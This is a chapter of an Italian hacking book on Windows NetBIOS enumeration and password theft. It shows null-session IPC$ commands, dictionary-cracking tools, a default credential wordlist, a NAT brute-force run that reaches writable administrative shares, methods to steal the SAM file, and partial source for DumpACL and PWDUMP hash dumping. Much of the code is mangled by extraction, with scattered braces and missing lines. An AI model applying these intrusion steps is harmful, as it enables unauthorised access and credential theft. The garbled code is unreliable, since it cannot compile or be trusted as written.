HackerProgrammingBook Part 04
HackerProgrammingBook Part 04
Per fare questo si devono sfruttare tutte le modalit possibili in relazione a quanto possibile relativamente alle altre informazioni individuate. Tra le tante altre utilities indirizzate allottenimento di informazioni ce DumpSec, distribuito gratuitamente da SomarSoft allindirizzo http://www.somarsoft.com/cgi-bin/download.pl?DumpAcl. Il programma esegue il dump dei permessi (DACLs) e crea degli file di log (SACLs) in relazione a moltissime risorse condivise come ad esempio per il file system, il registro, le stampanti e le condivisioni.
Dopo aver settato il computer a cui collegarsi DUMPSEC utilizza la NULL connession, quella vista prima ovvero net use \\ip:ipc$ /usr:, e dopo aver richiesto la visualizzazione da opzioni ilo software se possibile le visualizza nelle maschere.
Il software viene fornito con un manuale ben fatto scritto in word di circa 22 pagine. I parametri utilizzabili sulla linea di comando sono :
Required parameters /rpt=report type Type of report to produce: dir=drive:\path Directory permissions report (drive letter path) dir=\\computer\sharepath Directory permissions report (UNC path) registry=hive Registry permissios report (hive can be HKEY_LOCAL_MACHINE or HKEY_USERS) share=sharename Specific shared directory permissions report allsharedirs All non-special shared directories permissions report printers Printers permissions report shares Shares permissions report users Users report (table format, all fields except groups, groupcomment and grouptype) usersonly Users report (table format, only username, fullname and comment fields) userscol Users report (column format, same fields as users report) groups Groups report (table format, all fields) Groupsonly Groups report (table format, group info, no user info) Groupscol Groups report (column format, same fields as groups report) Policy Policy report
Tra le utility viste tra quelle di RHINO9 esiste LEGION la quale esegue anche questa un enumerezione delle risorse netbios. Riferitevi al capitolo relativo appunto a RHINO9. Un utilities che svolge lo stesso compito eseguito precedentemente con il comando net ipc$cr la cui sintassi : G:\>ipc$cr /? IPC$Crack v2.0 Usage: ipc$cr \\machine-name Acc_Name Passwd_file
where machine-name is the NetBIOS name, FQDN or IP address where Acc_name is the account (eg Administrator) where passwd_file is the path to the dictionary text file. Mnemonix 19th September 1998
G:\> La seguente utility, NBTEnum20, svolge i seguenti compiti. Enumeration of account lockout threshold Enumeration of local groups and user accounts Enumeration of global groups and user accounts Enumeration of shares RestrictAnonymous bypass routine Enumeration of user account RIDs 500, 501, and 1000-1500 Password checking
Il comando visto inizialmente atto a creare una connessione interprocesso nascosto IPC$ pu avere diverse forme come ad esempio: net use \\123.123.123.123\ipc$ * /user: net use \\123.123.123.123\ipc$ /user: net use \\123.123.123.123\ipc$ password /user:administrator Un utility che cerca le password a livello di NetBios la seguente il cui nome NetBios Password Test.
Il software attinge da un database di vocaboli per cui possibile crearlo tramite le svariate utilities destinate alla generazione di dizionari. Ricordiamoci anche che i vocabolari dovrebbero essere relativi alla nazionalit del sistema in quanto in Italia sicuramente pi semplice che le parole relative alle password siano comprese tra i vocaboli del dizionario della lingua italiana. Come dicevamo prima alcuni software che cercano di identificare le password potrebbero usare il metodo definito BRUTE FORCE. Questo esegue tutte le combinazioni di lettere e caratteri fino alla composizione di una stringa di lunghezza massima X dove X appunto la lunghezza scelta dallutente. I tempi in questo caso potrebbero essere esagerati in termine di lunghezza. Uno dei programmi visti nel capitolo dove abbiamo parlato di port scanner era chiamato NETBRUTE. Tra le altre funzioni svolte da questo ce ne una che mostra le risorse condivise. Un'altra utility di enumerazione si chiama DUMPACL la quale possiede la seguente sintassi utilizzabile sulla linea di comando.
F:\Temp>dumpacl Usage: dumpacl [-u user-to-run-as password-for-that-user] [-s] object [...] The current user (or <user-to-run-as>, if given) must have READ_CONTROL permission on the listed objects. If -s is used, that user must also be permitted to read the System ACL, requiring SeSecurityPrivilege. -s causes the SACL (audit list) to be dumped, too. <object> is a name for which to dump security. At present, dumpacl can deal with registry keys, file system objects and shares. Registry keys must start with HKLM\, HKU\, HKCU\, or HKCR\. Example: dumpacl -u felix xyzzy -s \\.\D: c:\tmp\file \\.\COM1 \\server\share
Il programma composto da tre moduli .CPP i quali sfruttano le funzioni della libreria netapi32.lib per lesecuzione delle funzionalit danalisi. Il primo modulo main.cpp il cui codice :
#include "std.h" #include "dumpacl.h" #include <lm.h> #pragma comment( lib, "netapi32.lib" ) bool isShare( char *s, char * &server, char * &share ); bool isKey( const char *str, HKEY &hk ); FlagText sharepermflags[], regpermflags[]; bool dumpSacl = false; int main( int argc, char *argv[] ) { HANDLE htok; int errors, i, objects; DWORD rc; HKEY hk; bool mustLogon = false; char userName[256], userPass[256]; static byte buf[65536]; char *srv, *sh; DWORD gotlen, dumpWhat; for ( errors = 0, objects = 0, i = 1; i < argc; ++ i ) { if ( argv[i][0] != '-' ) { ++ objects; continue;
argv[i] );
Stopping.\n",
} }
dumpWhat = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION; if ( dumpSacl ) { if ( ! getSecurityPriv() ) { printf( "Could not enable SeSecurityPrivilege, error %lu. Not dumping SACLs.", GetLastError() ); dumpSacl = false; } else dumpWhat |= SACL_SECURITY_INFORMATION; } for ( i = 1; i < argc; ++ i ) { if ( argv[i] != 0 ) { printf( "\nSD for \"%s\":\n", argv[i] ); if ( isKey( argv[i], hk ) ) { gotlen = sizeof buf; rc = RegGetKeySecurity( hk, dumpWhat, (SECURITY_DESCRIPTOR *) &buf[0], &gotlen ); if ( rc != 0 ) printf( " RegGetKeySecurity() failed, error %lu\n", rc ); else printSD( 2, (SECURITY_DESCRIPTOR *) &buf[0], regpermflags ); RegCloseKey( hk ); } else if ( isShare( argv[i], srv, sh ) ) { byte *bufptr; DWORD rc; wchar_t server[256], share[256]; // ick! should dynamically allocate as needed bufptr = 0; // convert server, share to Unicode if ( srv != 0 ) MultiByteToWideChar( CP_ACP, 0, srv, -1, server, sizeof server / sizeof server[0] ); MultiByteToWideChar( CP_ACP, 0, sh, -1, share, sizeof server / sizeof server[0] ); rc = NetShareGetInfo( ( srv == 0? L"": server ), share, 502, &bufptr ); if ( rc == 0 && bufptr != 0 ) // for sharepermflags, see end of this source file printSD( 2, (SECURITY_DESCRIPTOR *) ( (SHARE_INFO_502 *) bufptr )>shi502_security_descriptor,
if ( ! GetFileSecurity( argv[i], dumpWhat, (SECURITY_DESCRIPTOR *) &buf[0], sizeof buf, printf( " else printSD( 2, (SECURITY_DESCRIPTOR *) &buf[0] ); GetFileSecurity() failed, error
if ( mustLogon ) { RevertToSelf(); CloseHandle( htok ); } return 0; } // return true if s looks like a reg key "HKLM\\...", "HKU\\...", etc. bool isKey( const char *str, HKEY &hk ) { bool result = false; char *s = 0, *p; DWORD rc; static struct { const char *name; HKEY base; } *basekey, basekeys[] = { { "HKLM", HKEY_LOCAL_MACHINE }, { "HKU", HKEY_USERS }, { "HKCU", HKEY_CURRENT_USER }, { "HKCR", HKEY_CLASSES_ROOT }, { 0, 0 } }; hk = 0; s = strdup( str ); // error checking? What, me worry? p = strchr( s, '\\' ); if ( p != 0 ) { *p = '\0'; ++ p; // p points to path within key, if all goes well } else // no backslash p = s + strlen( s ); // point to '\0' byte for ( basekey = &basekeys[0]; basekey->name != 0; basekey ++ ) { if ( stricmp( s, basekey->name ) == 0 ) // match? break; } if ( basekey->name == 0 ) // nothing found? goto bye; // now open the subkey in question if ( *p == '\0' ) // no subkey? we are done { hk = basekey->base; result = true; goto bye; } hk = 0;
} // return true if s looks like "\\\\foo\\bar\0" bool isShare( char *s, char * &server, char * &share ) { if ( s == 0 || strlen( s ) < 4 ) return false; if ( *s != '\\' || s[1] != '\\' ) return false; server = s; s += 2; while ( *s && *s != '\\' ) ++ s; if ( *s != '\\' ) return false; share = ++ s; while ( *s && *s != '\\' ) ++ s; if ( *s != '\0' ) // what? _another_ backslash? return false; *( share - 1 ) = '\0'; // terminate server name if ( share == server + 3 ) // just the two backslashes instead of a serevr? server = 0; // return NULL pointer return true; } FlagText { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { { sharepermflags[] /* 0x00000001 */ /* 0x00000002 */ /* 0x00000004 */ /* 0x00000008 */ /* 0x00000010 */ /* 0x00000020 */ /* 0x00000040 */ /* 0x00000080 */ /* 0x00000100 */ /* 0x00000200 */ /* 0x00000400 */ /* 0x00000800 */ /* 0x00001000 */ /* 0x00002000 */ /* 0x00004000 */ /* 0x00008000 */ /* 0x00010000 */ /* 0x00020000 */ /* 0x00040000 */ /* 0x00080000 */ /* 0x00100000 */ /* 0x00200000 */ /* 0x00400000 */ /* 0x00800000 */ /* 0x01000000 */ /* 0x02000000 */ /* 0x04000000 */ /* 0x08000000 */ /* 0x10000000 */ /* 0x20000000 */ /* 0x40000000 */ /* 0x80000000 */ /* 0x0000ffff */ /* 0x000f0000 */ /* 0x001f0000 */ 0, 0 } = { 0x00000001, "ACCESS_READ" }, 0x00000002, "ACCESS_WRITE" }, 0x00000004, "ACCESS_CREATE" }, 0x00000008, "ACCESS_EXEC" }, 0x00000010, "ACCESS_DELETE" }, 0x00000020, "ACCESS_ATRIB [sic]" }, 0x00000040, "ACCESS_PERM" }, 0x00000080, "unknown" }, 0x00000100, "unknown" }, 0x00000200, "unknown" }, 0x00000400, "unknown" }, 0x00000800, "unknown" }, 0x00001000, "unknown" }, 0x00002000, "unknown" }, 0x00004000, "unknown" }, 0x00008000, "ACCESS_GROUP" }, DELETE, "DELETE" }, READ_CONTROL, "READ_CONTROL" }, WRITE_DAC, "WRITE_DAC" }, WRITE_OWNER, "WRITE_OWNER" }, SYNCHRONIZE, "SYNCHRONIZE" }, 0x00200000, "unknown" }, 0x00400000, "unknown" }, 0x00800000, "unknown" }, ACCESS_SYSTEM_SECURITY, "ACCESS_SYSTEM_SECURITY" }, MAXIMUM_ALLOWED, "MAXIMUM_ALLOWED" }, 0x04000000, "unknown" }, 0x08000000, "unknown" }, GENERIC_ALL, "GENERIC_ALL" }, GENERIC_EXECUTE, "GENERIC_EXECUTE" }, GENERIC_WRITE, "GENERIC_WRITE" }, GENERIC_READ, "GENERIC_READ" }, SPECIFIC_RIGHTS_ALL, "SPECIFIC_RIGHTS_ALL" }, STANDARD_RIGHTS_REQUIRED, "STANDARD_RIGHTS_REQUIRED" }, STANDARD_RIGHTS_ALL, "STANDARD_RIGHTS_ALL" },
bool getSecurityPriv( void ) { HANDLE hToken; LUID privValue; TOKEN_PRIVILEGES tkp; DWORD rc = 0; if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { if ( LookupPrivilegeValue( NULL, SE_SECURITY_NAME, &privValue ) ) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = privValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NULL, NULL ) ) } else } else { } if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, rc = GetLastError(); rc = GetLastError();
static const char *indent( int nBlanks ) { static const int maxBlanks = 80; static char blanks[maxBlanks + 1] = ""; if ( blanks[0] == '\0' ) { memset( blanks, ' ', maxBlanks ); blanks[maxBlanks] = '\0'; } if ( nBlanks > nBlanks if ( nBlanks < nBlanks } maxBlanks ) = maxBlanks; 0 ) = 0;
void printSid( PSID psid ) { char name[256], domain[256]; char *type; DWORD cbname = sizeof name, cbdomain = sizeof domain, rc; SID_NAME_USE sidUse;
//!! next line has hardcoded server name !! // NULL server name is usually appropriate, though. if ( LookupAccountSid( NULL, psid, name, &cbname, domain, &cbdomain, &sidUse ) ) { switch ( sidUse ) { case SidTypeUser: type = "user"; break; case SidTypeGroup: type = "group"; break; case SidTypeDomain: type = "domain"; break; case SidTypeAlias: type = "alias"; break; case SidTypeWellKnownGroup: type = "well-known group"; break; case SidTypeDeletedAccount: type = "well-known account"; break; case SidTypeInvalid: type = "invalid type"; break; case SidTypeUnknown: type = "unknown type"; break; default: type = "bad sidUse value"; break; } printf( "%s%s%s (%s)\n", domain, ( domain == 0 || *domain == '\0' )? "": "\\", name, type ); } else { rc = GetLastError(); printf( "[%s] *** error %lu\n", sidToText( psid ), rc ); } }
void printAce( int ind, bool isSacl, int index, PACL acl, const FlagText *permflags /* = 0 */ ) { ACE_HEADER *ace; char *type; int i; bool first; DWORD j; PSID psid; static FlagText inheritflags[] = { { CONTAINER_INHERIT_ACE, "CONTAINER_INHERIT_ACE" }, { INHERIT_ONLY_ACE, "INHERIT_ONLY_ACE" }, { NO_PROPAGATE_INHERIT_ACE, "NO_PROPAGATE_INHERIT_ACE" }, { OBJECT_INHERIT_ACE, "OBJECT_INHERIT_ACE" }, { SUB_CONTAINERS_ONLY_INHERIT, "SUB_CONTAINERS_ONLY_INHERIT" }, { SUB_OBJECTS_ONLY_INHERIT, "SUB_OBJECTS_ONLY_INHERIT" }, { SUB_CONTAINERS_AND_OBJECTS_INHERIT, "SUB_CONTAINERS_AND_OBJECTS_INHERIT" }, { FAILED_ACCESS_ACE_FLAG, "FAILED_ACCESS_ACE_FLAG" }, { SUCCESSFUL_ACCESS_ACE_FLAG, "SUCCESSFUL_ACCESS_ACE_FLAG" }, { INHERITED_ACE, "INHERITED_ACE" }, { 0, 0 } }; static FlagText defaultpermflags[] = { { /* 0x00000001 */ FILE_READ_DATA, "file: FILE_READ_DATA, dir: FILE_LIST_DIRECTORY" }, { /* 0x00000002 */ FILE_WRITE_DATA, "file: FILE_WRITE_DATA, dir: FILE_ADD_FILE" }, { /* 0x00000004 */ FILE_APPEND_DATA, "file: FILE_APPEND_DATA, dir: FILE_ADD_SUBDIRECTORY" }, { /* 0x00000008 */ FILE_READ_EA, "FILE_READ_EA" }, { /* 0x00000010 */ FILE_WRITE_EA, "FILE_WRITE_EA" }, { /* 0x00000020 */ FILE_EXECUTE, "file: FILE_EXECUTE, dir: FILE_TRAVERSE" }, { /* 0x00000040 */ FILE_DELETE_CHILD, "FILE_DELETE_CHILD" }, { /* 0x00000080 */ FILE_READ_ATTRIBUTES, "FILE_READ_ATTRIBUTES" }, { /* 0x00000100 */ FILE_WRITE_ATTRIBUTES, "FILE_WRITE_ATTRIBUTES" }, { /* 0x00000200 */ 0x00000200, "unknown" }, { /* 0x00000400 */ 0x00000400, "unknown" }, { /* 0x00000800 */ 0x00000800, "unknown" }, { /* 0x00001000 */ 0x00001000, "unknown" }, { /* 0x00002000 */ 0x00002000, "unknown" }, { /* 0x00004000 */ 0x00004000, "unknown" }, { /* 0x00008000 */ 0x00008000, "unknown" },
if ( permflags == 0 ) permflags = defaultpermflags; if ( ! GetAce( acl, index, (void **) &ace ) ) { printf( "%s%cACL, entry %d: GetAce() failed, gle == %lu\n", indent( ind ), isSacl? 'S': 'D', index, GetLastError() ); return; } switch ( ace->AceType ) { case ACCESS_ALLOWED_ACE_TYPE: type = "ACCESS_ALLOWED_ACE_TYPE"; psid = &( (ACCESS_ALLOWED_ACE *) ace )->SidStart; break; case ACCESS_DENIED_ACE_TYPE: type = "ACCESS_DENIED_ACE_TYPE"; psid = &( (ACCESS_DENIED_ACE *) ace )->SidStart; break; case SYSTEM_AUDIT_ACE_TYPE: type = "SYSTEM_AUDIT_ACE_TYPE"; psid = &( (SYSTEM_AUDIT_ACE *) ace )->SidStart; break; case SYSTEM_ALARM_ACE_TYPE: type = "SYSTEM_ALARM_ACE_TYPE"; psid = &( (SYSTEM_ALARM_ACE *) ace )->SidStart; break; #if 0 case ACCESS_ALLOWED_COMPOUND_ACE_TYPE: type = "ACCESS_ALLOWED_COMPOUND_ACE_TYPE"; psid = &( (ACCESS_ALLOWED_COMPOUND_ACE *) ace )->SidStart; break; case ACCESS_ALLOWED_OBJECT_ACE_TYPE: type = "ACCESS_ALLOWED_OBJECT_ACE_TYPE"; psid = &( (ACCESS_ALLOWED_OBJECT_ACE *) ace )->SidStart; break; case ACCESS_DENIED_OBJECT_ACE_TYPE: type = "ACCESS_DENIED_OBJECT_ACE_TYPE"; psid = &( (ACCESS_DENIED_OBJECT_ACE *) ace )->SidStart; break; case SYSTEM_AUDIT_OBJECT_ACE_TYPE: type = "SYSTEM_AUDIT_OBJECT_ACE_TYPE"; psid = &( (SYSTEM_AUDIT_OBJECT_ACE *) ace )->SidStart; break; case SYSTEM_ALARM_OBJECT_ACE_TYPE: type = "SYSTEM_ALARM_OBJECT_ACE_TYPE"; psid = &( (SYSTEM_ALARM_OBJECT_ACE *) ace )->SidStart; break; default:
#endif
} printf( "%s%cACL entry %d\n", indent( ind ), isSacl? 'S': 'D', index ); ); printf( "%sACE type: %s (%lu)\n", indent( ind + 2 ), type, (DWORD) ace->AceType printf( "%sTrustee: ", indent( ind + 2 ) ); printSid( psid ); printf( "%sInheritance/auditing: ", indent( ind + 2 ) ); for ( j = ace->AceFlags, i = 0; i < 8; i ++ ) { if ( i != 0 && i % 4 == 0 ) putchar( ' ' ); putchar( ( j & 0x80 )? '1': '0' ); j <<= 1; } putchar( '\n' ); for ( i = 0, first = true; inheritflags[i].txt != 0; i ++ ) { if ( inheritflags[i].flag == ( inheritflags[i].flag & ace->AceFlags ) ) { printf( "%s%s\n", indent( ind + 4 ), inheritflags[i].txt ); first = false; } } if ( first ) { printf( "%sNO_INHERITANCE\n", indent( ind + 4 ) ); } printf( "%sPermissions: ", indent( ind + 2 ) ); for ( j = ( (ACCESS_ALLOWED_ACE *) ace )->Mask, i = 0; i < 32; i ++ ) { if ( i != 0 && i % 4 == 0 ) putchar( ' ' ); if ( i != 0 && i % 16 == 0 ) putchar( '-' ); if ( i != 0 && i % 8 == 0 ) putchar( ' ' ); putchar( ( j & 0x80000000 )? '1': '0' ); j <<= 1; } putchar( '\n' ); j = ( (ACCESS_ALLOWED_ACE *) ace )->Mask; for ( i = 0, first = true; permflags[i].txt != 0; i ++ ) { if ( permflags[i].flag == ( permflags[i].flag & j ) ) { printf( "%s%08lXh %s\n", indent( ind + 4 ), permflags[i].flag, permflags[i].txt ); first = false; } } if ( first ) { indent( ind + 4 ); printf( "%s(none)\n", indent( ind + 4 ) ); } }
void printAcl( int ind, bool isSacl, PACL acl, const FlagText *permflags /* = 0 */ ) { DWORD i; ACL_SIZE_INFORMATION aci; if ( acl == 0 ) return; if ( ! GetAclInformation( acl, &aci, sizeof aci, AclSizeInformation ) ) { printf( "%sGAI(): gle == %lu\n", indent( ind ), GetLastError() );
printf( "%s%cACL header: %lu ACEs, %lu bytes used, %lu bytes free\n", indent( ind ), isSacl? 'S': 'D', aci.AceCount, aci.AclBytesInUse, aci.AclBytesFree ); for ( i = 0; i < aci.AceCount; ++ i ) printAce( ind + 2, isSacl, i, acl, permflags ); }
void printSD( int ind, SECURITY_DESCRIPTOR *psd, const FlagText *permflags /* = 0 */ ) { SECURITY_DESCRIPTOR_CONTROL sdc; DWORD rev; PSID psidOwner, psidGroup; int ownerDefaulted, groupDefaulted; PACL dacl, sacl; int daclPresent, daclDefaulted; int saclPresent, saclDefaulted; int i; bool first; WORD j; static struct { WORD flag; char *txt; } ctlflags[] = { { /* 0x0001 { /* 0x0002 { /* 0x0004 { /* 0x0008 { /* 0x0010 { /* 0x0020 { /* 0x0040 { /* 0x0080 { /* 0x0100 { /* 0x0200 { /* 0x0400 { /* 0x0800 { /* 0x1000 { /* 0x2000 { /* 0x4000 { /* 0x8000 };
*/ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */
SE_OWNER_DEFAULTED, "SE_OWNER_DEFAULTED" }, SE_GROUP_DEFAULTED, "SE_GROUP_DEFAULTED" }, SE_DACL_PRESENT, "SE_DACL_PRESENT" }, SE_DACL_DEFAULTED, "SE_DACL_DEFAULTED" }, SE_SACL_PRESENT, "SE_SACL_PRESENT" }, SE_SACL_DEFAULTED, "SE_SACL_DEFAULTED" }, 0x0040, "unknown" }, 0x0080, "unknown" }, SE_DACL_AUTO_INHERIT_REQ, "SE_DACL_AUTO_INHERIT_REQ" }, SE_SACL_AUTO_INHERIT_REQ, "SE_SACL_AUTO_INHERIT_REQ" }, SE_DACL_AUTO_INHERITED, "SE_DACL_AUTO_INHERITED" }, SE_SACL_AUTO_INHERITED, "SE_SACL_AUTO_INHERITED" }, SE_DACL_PROTECTED, "SE_DACL_PROTECTED" }, SE_SACL_PROTECTED, "SE_SACL_PROTECTED" }, 0x4000, "unknown" }, SE_SELF_RELATIVE, "SE_SELF_RELATIVE" },
if ( psd == 0 ) { printf( "%sPSECURITY_DESCRIPTOR: is NULL, cannot dump\n", indent( ind ) ); } if ( ! GetSecurityDescriptorControl( psd, &sdc, &rev ) ) { printf( "%sSECURITY_DESCRIPTOR: *** GSDC() failed, gle = %lu\n", indent( ind ), GetLastError() ); return; } printf( "%sSECURITY_DESCRIPTOR: rev = %lu, length = %lu bytes\n", indent( ind ), rev, GetSecurityDescriptorLength( psd ) ); printf( "%sSD control: ", indent( ind + 2 ) ); for ( j = sdc, i = 0; i < 8 * sizeof WORD; ++ i ) { if ( i != 0 && i % 4 == 0 ) putchar( ' ' ); if ( i != 0 && i % 16 == 0 ) putchar( '-' ); if ( i != 0 && i % 8 == 0 ) putchar( ' ' ); putchar( ( j & 0x8000 )? '1': '0' ); j <<= 1; return;
};
// returns the address of a !!static!!, non-thread-local, buffer with // the text representation of the SID that was passed in const char *sidToText( PSID psid ); // getSecurityPriv() may be used by the caller to enable SE_SECURITY_NAME. // if this is not done, don't ask for SYSTEM_SECURITY_INFORMATION! bool getSecurityPriv( void ); // Translates a SID and terminates it with a linefeed. No provision is // made to dump the SID in textual form if LookupAccountSid() fails. void printSid( PSID psid ); // Displays the index-th (0-based) ACE from ACL with an indent of _ind_ // spaces; isSacl, if true, causes interpretation as an SACL, else DACL void printAce( int ind, bool isSacl, int index, PACL acl, const FlagText *permflags = 0 ); // Dumps an entire ACL with an indent of _ind_ spaces; isSacl decides // whether it will be labeled "SACL" or "DACL" void printAcl( int ind, bool isSacl, PACL acl, const FlagText *permflags = 0 ); // printSD() displays an entire SECURITY_DESCRIPTOR with the usual indent. void printSD( int ind, SECURITY_DESCRIPTOR *psd, const FlagText *permflags = 0 );
La panoramica sulle utilities legate alle funzioni di enumerazione particolarmente lunga in quanto ormai la rete diventata una fonte inesauribile di risorse. Allinterno di quello chiamato ForensicToolkit20.zip troverete diverse utilities Questa serie di programmi firmato dalla Foundstone na societ leader nel campo della sicurezza informatica (www.foundstone.com) . Il primo file si chiama AUDITED e le opzioni che compaiono lanciandolo da prompt dos sono : F:\Temp>audited /? Seek and Destroy - Information Warfare Audited v1.5 - Copyright(c) 1998, Foundstone, Inc. NTFS SACL Reporter - Finds audited files Programming by JD Glaser - All Rights Reserved Usage - audited [path] /ns [dirpath] Directory to search - none equals current -d Dump file audit attributes -r [hivekey] Dump registry audit attributes -s [subkey] Optional sub-key to search -v Verbose mode -ns Skip sub-directories/sub keys - or / Either switch statement can be used Reg key constants are - HKLM, HKCR, HKCU, HKU, HKCC Dumps entire reg if no keyname is specified -? Help COMMAND PROMPT MUST HAVE A MINIMUM WIDTH OF 80 CHARACTERS Zechariah 12:9 - "I will seek to destroy all nations who oppose Jerusalem" See http://www.foundstone.com for updates/fixes
Se non viene specificato un file con gli accessi e le password, il programma utilizza una piccola lista come default e precisamente :
Usernames "ADMINISTRATOR", "USER", "DEMO", "LOCAL" Passwords "ADMINISTRATOR", "GUEST", "ROOT", "ADMIN", "PASSWORD", "TEMP", "SHARE", "WRITE", "FULL", "BOTH", "READ", "FILES", "DEMO", "TEST", "ACCESS", "USER", "BACKUP", "SYSTEM", "SERVER", "LOCAL" "GUEST", "BACKUP", "ROOT", "ADMIN", "TEST", "SYSTEM", "OPERATOR", "OPER",
NAT.EXE tenta tutte le tecniche precedenti e in pi prova le condivisioni amministrative, esegue lo scan su un range di IP ed utilizza un dizionario per provare a identificare le password delle risorse netbios. Questo tool tra i preferiti degli HACKER. Quello che segue loutput relativo alluso di NAT.
C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30 [*]--- Reading usernames from userlist.txt [*]--- Reading passwords from passlist.txt [*]--- Checking host: 204.73.131.11 [*]--- Obtaining list of remote NetBIOS names [*]--- Attempting to connect with name: * [*]--- Unable to connect [*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--Attempting to connect with name: *SMBSERVER CONNECTED with name: *SMBSERVER Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 Server time is Mon Dec 01 07:44:34 1997 Timezone is UTC-6.0 Remote server wants us to encrypt, telling it not to Attempting to connect with name: *SMBSERVER CONNECTED with name: *SMBSERVER Attempting to establish session Was not able to establish session with no password Attempting to connect with Username: `ADMINISTRATOR' Password: `password' CONNECTED: Username: `ADMINISTRATOR' Password: `password'
[*]--- Obtained server information: Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[] [*]--- Obtained listing of shares: Sharename --------ADMIN$ C$ IPC$ NETLOGON Test Type ---Disk: Disk: IPC: Disk: Disk: Comment ------Remote Admin Default share Remote IPC Logon server share
[*]--- This machine has a browse list: Server --------STUDENT1 Comment -------
[*]--- Attempting to access share: \\*SMBSERVER\ [*]--- Unable to access [*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--[*]--Attempting to access share: \\*SMBSERVER\ADMIN$ WARNING: Able to access share: \\*SMBSERVER\ADMIN$ Checking write access in: \\*SMBSERVER\ADMIN$ WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$ Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$ Attempting to access share: \\*SMBSERVER\C$ WARNING: Able to access share: \\*SMBSERVER\C$ Checking write access in: \\*SMBSERVER\C$ WARNING: Directory is writeable: \\*SMBSERVER\C$ Attempting to exercise .. bug on: \\*SMBSERVER\C$ Attempting to access share: \\*SMBSERVER\NETLOGON WARNING: Able to access share: \\*SMBSERVER\NETLOGON Checking write access in: \\*SMBSERVER\NETLOGON Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
Windows contiene i dati relativi ai login, quindi anche le password, dentro al file SAM (Security Accounts Manager). Le password sono criptografate per cui la loro lettura non pu essere effettuata semplicemente leggendo il file con un editor. Con lo scopo di decrittografare un file di password esistono diverse utilities le quali si basano come al solito o su vocabolari di parole o mediante il metodo delle combinazioni utilizzanti i caratteri e i numeri specificati. Abbiamo visto nei capitoli relativi ai metodi usati per impossessarsi del file SAM che una volta portato in locale questo file pu essere analizzato da utility come LC3 le quali sono in grado, magari con un po di tempo a disposizione, di trovare le varie passwords presenti dentro a questo. NT slava il file SAM dentro alla directory : %systemroot%\system32\config Questpo file uno dei cinque pi importanti per Windows e si trova bloccato dal sistema operativo si dalla sua partenza. Esistono quattro metodi per riuscire a impossessarsi di questo file: 1 Partire con un sistema operativo diverso e copiare questo file su di un floppy 2-Copiare il file di backup creato da un utility NT per la riparazione del disco 3- Estrarre le passwords direttamente dal file SAM 4-Esecuzione del metodo definito con il termine di Eavesdropping on Network Password Exchange Questultimo metodo utilizza un sistema di capture dei pacchetti SMB eseguita dal software chiamato l0phtcrack Nel primo caso necessario utilizzare un sistema operativo o un utility che esegua il mount del sistema NTFS in quanto se fosse utilizzato un semplice DOS il contenuto del disco fisso formattato appunto in NTFS non sarebbe visto. Nel secondo caso il lancio del NT Repairr Disk Utility (rdisk) con lopzione /s creerebbe dentro alla directory %systemroot%\repair un file chiamato sam._ il quale risulterebbe essere compresso con lutility di compressione di Microsoft. La sua normalizzazione potrebbe avvenire lanciando C:\> expand sam._ sam Il terzo metodo invece utilizza delle utilties chiamate PWDUMP e PWDUMP2. Windows non memorizza le password ma al loro posto memorizza degli hash che altro non sono che valori numerici calcolati in base alle password. Di fatto non si potrebbe risalire da questi hash alle password. La lista viene memorizzata dentro al file \winnt\system32\config chiamato SAM. PWDUMP esegue prima un attacco a questo file mediante dizionari e poi mediante il brute force method. Il programma prelevabile da :
#include "des.h" /* * Program to dump the Lanman and NT MD4 Hashed passwords from * an NT SAM database into a Samba smbpasswd file. Needs Administrator * privillages to run. * Takes one arg - the name of the machine whose SAM database you * wish to dump, if this arg is not given it dumps the local machine * account database. */ /* * Convert system error to char. Returns * memory allocated with LocalAlloc. */ char *error_to_string(DWORD error) { char *msgbuf; if(FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, error,
/* * Return a pointer to a string describing an os error. * error_to_string returns a pointer to LocalAlloc'ed * memory. Cache it and release when the next one is * requested. */ char *str_oserr(DWORD err) { static char *lastmsg = 0; if(lastmsg) LocalFree((HLOCAL)lastmsg); lastmsg = error_to_string(err); return lastmsg;
/* * Utility function to get allocate a SID from a name. * Looks on local machine. SID is allocated with LocalAlloc * and must be freed by the caller. * Returns TRUE on success, FALSE on fail. */ BOOL get_sid(const char *name, SID **ppsid) { SID_NAME_USE sid_use; DWORD sid_size = 0; DWORD dom_size = 0; char *domain; *ppsid = 0; if(LookupAccountName(0, name, 0, &sid_size, 0, &dom_size, &sid_use) == 0) { if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) { fprintf( stderr, "get_sid: LookupAccountName for size on name %s failed. Error was %s\n", name, str_oserr(GetLastError())); return FALSE; } } *ppsid = (SID *)LocalAlloc( LMEM_FIXED, sid_size); domain = (char *)LocalAlloc( LMEM_FIXED, dom_size); if( *ppsid == 0 || domain == 0) { fprintf( stderr, "get_sid: LocalAlloc failed. Error was %s\n", str_oserr(GetLastError())); if(*ppsid) LocalFree((HLOCAL)*ppsid); if(domain) LocalFree((HLOCAL)domain); *ppsid = 0; return FALSE; } { if(LookupAccountName(0, name, *ppsid, &sid_size, domain, &dom_size, &sid_use) == 0) fprintf( stderr, "get_sid: LookupAccountName failed for name %s. Error was %s\n", name, str_oserr(GetLastError())); LocalFree((HLOCAL)*ppsid); LocalFree((HLOCAL)domain); *ppsid = 0; return FALSE;
